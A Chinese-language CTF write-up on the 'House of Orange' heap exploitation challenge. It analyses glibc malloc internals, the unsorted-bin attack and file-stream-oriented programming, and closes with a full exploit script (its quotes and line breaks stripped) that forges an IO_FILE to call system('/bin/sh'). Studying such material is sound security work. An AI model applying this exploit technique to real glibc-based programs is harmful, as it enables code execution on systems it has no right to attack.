堆溢出-House of orange 學習筆記

前幾天把House of orange重新學習了一下,比照著glibc

malloc的源碼好好分析了一下,希望做到真正做到知其然亦知其所以然,其中所做的筆記如下,可能描述上有點亂,大家將就著看一下吧。同時,我也發在了我個人博客上面 (blog.leanote.com/simp1e), 如果有錯誤的地方,請各位大牛多多指正。

0x00 程序描述

大名鼎鼎的house_of_orange

程序邏輯還比較清晰的,一共可以build四次,然後每次build的話就是3次堆分配,兩次malloc,一次calloc,其中一次malloc是固定分配0x10位元組作為控制堆塊,裡面存放著namecolor的信息,另外按輸入分配name的大小。

0x01 程序漏洞

1. 堆溢出

upgrade函數中,修改name時候不顧實際chunk的堆大小是多少,直接進行編輯,最大可編輯0x1000大小,因而存在溢出。

0x02 漏洞利用

這裡的利用思路是4ngelboy給出,下面就直接分析這樣利用的原因。

1. 信息泄露 (泄露libc地址)

因為程序中有堆的越界寫,可以修改top_chunk的大小。在malloc源碼裡面如果申請的堆塊大小超過了top_chunk的大小,將調用sysmalloc來進行分配。

sysmalloc裡面針對這種情況有兩種處理,一種是直接mmap出來一塊內存,另一種是擴展top_chunk

/*If have mmap, and the request size meets the mmap threshold, andthe system supports mmap, and there are few enough currentlyallocated mmapped regions, try to directly map this requestrather than expanding top.*/if ((unsigned long) (nb) >= (unsigned long) (mp_.mmap_threshold) &&(mp_.n_mmaps < mp_.n_mmaps_max)){char *mm; /* return value from mmap call*/try_mmap:

就是如果申請大小>=mp_.mmap_threshold,就會mmap。我們質只要申請不要過大,一般不會觸發這個,這個mmap_threshold的值為128*1024

不過下面還有兩個assert需要檢查,如下

old_top = av->top;old_size = chunksize (old_top);old_end = (char *) (chunk_at_offset (old_top, old_size));brk = snd_brk = (char *) (MORECORE_FAILURE);/*If not the first time through, we require old_size to beat least MINSIZE and to have prev_inuse set.*/assert ((old_top == initial_top (av) && old_size == 0) ||((unsigned long) (old_size) >= MINSIZE &&prev_inuse (old_top) &&((unsigned long) old_end & pagemask) == 0));/* Precondition: not enough current space to satisfy nb request */assert ((unsigned long) (old_size) < (unsigned long) (nb + MINSIZE));

第一個assert就是要求修改後的top_chunk_size必須滿足

  1. top_chunk_size>MINSIZE(MINISIZE)沒有查到是多少,反正不要太小都行
  2. top_chunk需要有pre_in_use的標誌,就是最後一個比特為1
  3. 還有就是(old_end &pagemask ==0)

    #define chunk_at_offset(p, s) ((mchunkptr) (((char *) (p)) + (s)))

    這裡沒有太深究,應該就是top_chunk需要和原來的堆頁在一個頁上吧。

    第二個assert就是要求
  4. top_chunk_size小於申請分配的內存即可

    滿足以上四個條件之後,繼續往下執行最後把原先的那個old_top給釋放掉了,如下

top (av) = chunk_at_offset (heap, sizeof (*heap));set_head (top (av), (heap->size - sizeof (*heap)) | PREV_INUSE);/* Setup fencepost and free the old top chunk with a multiple ofMALLOC_ALIGNMENT in size. *//* The fencepost takes at least MINSIZE bytes, because it mightbecome the top chunk again later. Note that a footer is setup, too, although the chunk is marked in use. */old_size = (old_size - MINSIZE) & ~MALLOC_ALIGN_MASK;set_head (chunk_at_offset (old_top, old_size + 2 * SIZE_SZ), 0 | PREV_INUSE);if (old_size >= MINSIZE){set_head (chunk_at_offset (old_top, old_size), (2 * SIZE_SZ) | PREV_INUSE);set_foot (chunk_at_offset (old_top, old_size), (2 * SIZE_SZ));set_head (old_top, old_size | PREV_INUSE | NON_MAIN_ARENA);_int_free (av, old_top, 1);

顯然,這樣的free操作的話,我們就可以得到一個unsort_bin,然後之後再次分配時候如果是符合unsort_bin大小的話,就會從unsort_bin裡面切出來。

這樣的話我們再次申請一個堆塊分配到這塊區域中就能泄露libc地址了,但是這裡又有一個trick,如果我們分配的大小是large_chunk的話。malloc源碼中還把old_top的堆地址放到了堆裡面(沒有細究原因,但是好像是large bin沒有區分大小,需要有個欄位來保存大小的原因吧),源碼如下

所以如果再次分配時候如果分配大小為largebin(也就是大於512位元組)的chunk的話,就是可以既泄露libc又可以泄露heap。如下

而如果分配大小不到512位元組時候是無法泄露堆地址的。

2. 劫持流程

File Stream Oriented Programming

我們知道有ropretn Oriented Programming,那麼其實File Stream Oriented Programming是一個道理的。也是一種劫持程序流程的方法,只不過方式是通過攻擊File Stream來實現罷了。

我們先要了解malloc對錯誤信息的處理過程,malloc_printerrmalloc中用來列印錯誤的函數。

malloc_printerr其實是調用__libc_message函數之後調用abort函數,abort函數其中調用了_IO_flush_all_lockp,這裡面用到IO_FILE_ALL裡面的結構,採用的是虛表調用的方式。

其中使用到了IO_FILE對象中的虛表,如果我們能夠修改IO_FILE的內容那麼就可以一定程度上劫持流程。

IO_FILE_ALL是一個指向IO_FILE_plus的結構指針,結構如下圖所示,具體結構不需要太了解清晰,大概懂一些也就行。

那麼怎麼劫持呢,這裡又需要用到unsortbin attack的知識。

unsortbin attack是怎麼一回事呢,其實就是在malloc的過程中,unsortbin會從鏈表上卸下來(只要分配的大小不是fastchunk大小)

如上代碼所示,就是會把bk+0x10的地方寫入本unsort_bin的地址,

我們通過內存斷點來觀察一下是如何進行的。

斷點觸發之後,發現io_file_all被修改成了指向top_chunk的指針時間地址位於main_arena

但是我們是無法控制main_arena的內容的,至少全部控制是不行的,那麼怎麼處理呢?

這裡還是要牽扯到io_file的使用,IO_FILE結構中有一個欄位是chian欄位,它位於0x60偏移處,他指向的是下一個IO_FILE結構體,我們如果可以控制這個欄位,就再次指定io_file的位置,它相當於是一個鏈表的結構

這樣的話又聯繫到smallchunk的問題,在拆卸unsort_bin時候對屬於small_bin的chunk進行了記錄操作。

這個時候IO_FILE_all指向的正是main_arena的bins裡面unsortbin的位置,那麼偏移0x60處正好是,smallchunk的index為6的地方,也就是滿足大小為16*6的chunk,所以upgrade時候需要把unsortbin設置為0x60大小。

while (fp != NULL){…fp = fp->_chain;...if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)#if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T|| (_IO_vtable_offset (fp) == 0&& fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr> fp->_wide_data->_IO_write_base))#endif)&& _IO_OVERFLOW (fp, EOF) == EOF)

因為第一個分配在main_arenaIO_FILE_plus結構的fp->mode等值不符合要求,就會通過chains跳轉到就下一個IO_FILE_plus就是我們之前設置的unsortbin,然後需要滿足一下條件

  1. fp->mode>0
  2. _IO_vtable_offset (fp) ==0
  3. fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base

    這裡的話我就是把wide_data的IO_wirte_ptr就指向read_end就可以,然後就會調用虛表+0x18偏移處的函數了。

0xFE 利用exp

#coding:utf-8from zio import *from pwn import *import mypwndef menu(io,choice): io.read_until(Your choice :)io.writeline(str(choice))def build(io,len,name,price,color):menu(io,1)io.read_until(name :)io.writeline(str(len))io.read_until(Name :)io.write(name)io.read_until(Price of Orange:) io.writeline(str(price))io.read_until( Orange:)io.writeline(str(color))def see(io):menu(io,2)def upgrade(io,nlen,nname,nprice,ncolor):menu(io,3)io.read_until(name :)io.writeline(str(nlen))io.read_until(Name:)io.write(nname)io.read_until(Price of Orange:)io.writeline(str(nprice))io.read_until( Orange:)io.writeline(str(ncolor))if __name__ == __main__:binary_path = "./houseoforange"r_m = COLORED(RAW, "green")w_m = COLORED(RAW, "blue")target = binary_pathbin=ELF(binary_path)io = zio(target, timeout = 9999, print_read = r_m, print_write = w_m)if target==binary_path:l=ELF("/lib/x86_64-linux-gnu/libc.so.6")offset_main_arena=l.symbols[__malloc_hook]+0x20else:pass#l=ELF("")#offset_main_arenabuild(io,0x80,simp1e,0x1234,0xddaa)fake_color=p32(666)+p32(0xddaa)overflow_name=a*0x90+fake_color+p64(0)*2+p64(0xf31)upgrade(io,0xb1,overflow_name,666,0xddaa)build(io,0x1000,1+
,0x1234,0xddaa)build(io,0x400,"a"*8,199,2)see(io)io.read_until(Name of house : +a*8)data=io.read_until(
)[:-1]io.gdb_hint()heap_ptr=mypwn.uu64(data)real_main_arena=heap_ptr-0x668mypwn.log(heap_ptr,heap_ptr)mypwn.log(real_main_arena,real_main_arena)libc_base=real_main_arena-offset_main_arenareal_system=libc_base+l.symbols[system]upgrade(io,0x400,"b"*0x10,666,2)see(io)io.read_until(Name of house : +b*0x10)data=io.read_until(
)[:-1]heap_ptr=mypwn.uu64(data)mypwn.log(heap_ptr,heap_ptr)mypwn.log(_IO_list_all,l.symbols[_IO_list_all])io_list_all=libc_base+l.symbols[_IO_list_all]vtable_addr=heap_ptr + 0x530-8payload="x"*0x400+p64(0)+p64(0x21)+p32(666)+p32(0xddaa)+p64(0)fake_chunk=/bin/shx00+p64(0x61)#why ? io_file?fake_chunk+=p64(0xddaa)+p64(io_list_all-0x10)fake_chunk=fake_chunk.ljust(0xa0,x00)fake_chunk+=p64(heap_ptr+0x420)fake_chunk=fake_chunk.ljust(0xc0,x00)fake_chunk+=p64(1)payload+=fake_chunkpayload += p64(0)payload += p64(0)payload += p64(vtable_addr)payload += p64(1)payload += p64(2)payload += p64(3) payload += p64(0)*3 # vtablepayload += p64(real_system)upgrade(io,0x800,payload,666,2)io.interact()

0xff 參考資料

  1. 4ngelboy.blogspot.ca/20
  2. cnblogs.com/shangye/p/6
  3. outflux.net/blog/archiv

本文由看雪論壇 simSimple原創 轉載請註明來自看雪社區

推薦閱讀:

補天眾測第一人:月入24萬是一種怎樣的體驗
白帽子挖洞—靶場及白帽子守則篇
紀念首期兩個用Pinpoint找到的CVE
漏洞之我觀
Geneko路由器無需認證目錄遍歷漏洞

TAG:堆棧溢出 | 二進位 | 漏洞挖掘 |